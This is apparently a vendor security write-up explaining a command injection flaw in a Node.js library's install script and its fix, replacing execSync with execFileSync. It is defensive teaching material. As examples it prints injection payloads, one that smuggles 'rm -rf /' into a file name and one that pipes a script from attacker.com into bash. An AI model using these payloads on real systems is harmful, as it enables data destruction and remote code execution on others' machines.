Introduction
In scripts/install.js, a high-severity command injection vulnerability was discovered at line 142 where the packageFilePath variable was being interpolated directly into a shell command string passed to child_process.execSync(). This install script handles plugin installation for a Node.js library, meaning the vulnerability affects every downstream consumer who uses this package.
The problematic code looked like this:
log = child_process.execSync(
`gauge install ${plugin.id} --file "${packageFilePath}"`,
);
This pattern is dangerous because packageFilePath could contain shell metacharacters that break out of the intended command structure. Since this is a library consumed by other projects, an attacker who can influence the package file path—whether through a malicious dependency, a compromised build pipeline, or user input upstream—could achieve remote code execution on any system running this install script.
The Vulnerability Explained
The execSync() function in Node.js spawns a shell (typically /bin/sh on Unix or cmd.exe on Windows) and passes the entire command string to it for interpretation. This means shell metacharacters like ;, $(), backticks, and | have special meaning and can be used to chain additional commands.
Here's the vulnerable code from the install script:
// Vulnerable: execSync with string interpolation
log = child_process.execSync(
`gauge uninstall ${plugin.id} --version "${plugin.version}"`,
);
// ...
log = child_process.execSync(
`gauge install ${plugin.id} --file "${packageFilePath}"`,
);
Attack Scenario
Consider what happens if an attacker can control packageFilePath. If they set it to:
malicious.tgz"; rm -rf / #
The resulting command becomes:
gauge install some-plugin --file "malicious.tgz"; rm -rf / #"
The shell interprets this as two separate commands:
1. gauge install some-plugin --file "malicious.tgz" — the intended command
2. rm -rf / — an attacker-injected command that deletes the filesystem
The # at the end comments out the trailing quote, preventing a syntax error.
Similarly, command substitution attacks work:
$(curl attacker.com/shell.sh | bash).tgz
This would execute a remote shell script before the gauge command even runs.
Real-World Impact
Because this is a Node.js library, the attack surface extends to every project that depends on it. During npm install, post-install scripts run with the privileges of the installing user. An attacker who compromises the package metadata or tricks a user into installing a malicious version could:
- Steal environment variables and secrets
- Install backdoors or cryptocurrency miners
- Exfiltrate source code or credentials
- Pivot to other systems on the network
The Fix
The fix replaces child_process.execSync() with child_process.execFileSync(), which fundamentally changes how the command is executed.
Before (Vulnerable)
log = child_process.execSync(
`gauge uninstall ${plugin.id} --version "${plugin.version}"`,
);
// ...
log = child_process.execSync(
`gauge install ${plugin.id} --file "${packageFilePath}"`,
);
After (Secure)
log = child_process.execFileSync("gauge", [
"uninstall",
plugin.id,
"--version",
plugin.version,
]);
// ...
log = child_process.execFileSync("gauge", [
"install",
plugin.id,
"--file",
packageFilePath,
]);
Why This Works
execFileSync() differs from execSync() in a critical way: it does not spawn a shell. Instead, it directly invokes the specified executable (gauge) and passes each array element as a separate argument to the process.
This means:
- Shell metacharacters like ;, $(), and | are treated as literal characters
- No command chaining is possible
- Each argument is passed exactly as specified, with no interpretation
Even if packageFilePath contains "; rm -rf / #, it would simply be passed to the gauge command as a literal filename argument. The gauge tool would fail to find a file with that bizarre name, but no shell injection would occur.
Security Invariant
The fix establishes a clear security invariant: Shell commands never include unsanitized user input. By removing the shell from the execution path entirely, this invariant is structurally enforced rather than relying on input validation that could be bypassed.
Prevention & Best Practices
1. Prefer execFileSync/spawn Over execSync
Always use execFileSync(), spawn(), or spawnSync() with argument arrays instead of execSync() with string interpolation:
// ❌ Dangerous
execSync(`command ${userInput}`);
// ✅ Safe
execFileSync('command', [userInput]);
2. If You Must Use execSync, Validate Rigorously
If shell features are genuinely required, implement strict allowlist validation:
const SAFE_PATTERN = /^[a-zA-Z0-9._-]+$/;
if (!SAFE_PATTERN.test(userInput)) {
throw new Error('Invalid input');
}
3. Use Static Analysis
Enable Semgrep rules like javascript.lang.security.detect-child-process.detect-child-process in your CI pipeline to catch these patterns before they reach production.
4. Principle of Least Privilege
Run install scripts and build processes with minimal privileges. Use containerization to limit the blast radius of potential compromises.
Key Takeaways
- Never interpolate variables into
execSync()command strings—this is the root cause of most Node.js command injection vulnerabilities execFileSync()with argument arrays provides structural protection against command injection by bypassing the shell entirely- Library vulnerabilities have amplified impact—this fix protects every downstream consumer of this package
- The
packageFilePathandplugin.versionvariables ininstall.jswere both potential injection vectors that are now safely handled - Post-install scripts run with user privileges—making them high-value targets for supply chain attacks
How Orbis AppSec Detected This
- Source: The
packageFilePathvariable andplugin.version/plugin.idproperties, which could be influenced by package metadata or build configuration - Sink:
child_process.execSync()calls at lines 131-133 and 139-141 inscripts/install.js - Missing control: No shell escaping or structural separation of command and arguments—untrusted data was directly interpolated into shell command strings
- CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Replaced
execSync()withexecFileSync()using argument arrays, eliminating shell interpretation of input values
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in scripts/install.js demonstrates why child_process.execSync() with string interpolation is considered an anti-pattern in Node.js security. The fix—replacing execSync() with execFileSync() and argument arrays—is simple, maintains identical functionality for valid inputs, and provides robust protection against command injection.
For Node.js developers, the lesson is clear: treat execSync() with template literals as a code smell that warrants immediate refactoring. The few extra lines required to use execFileSync() with arrays are a small price for eliminating an entire class of critical vulnerabilities.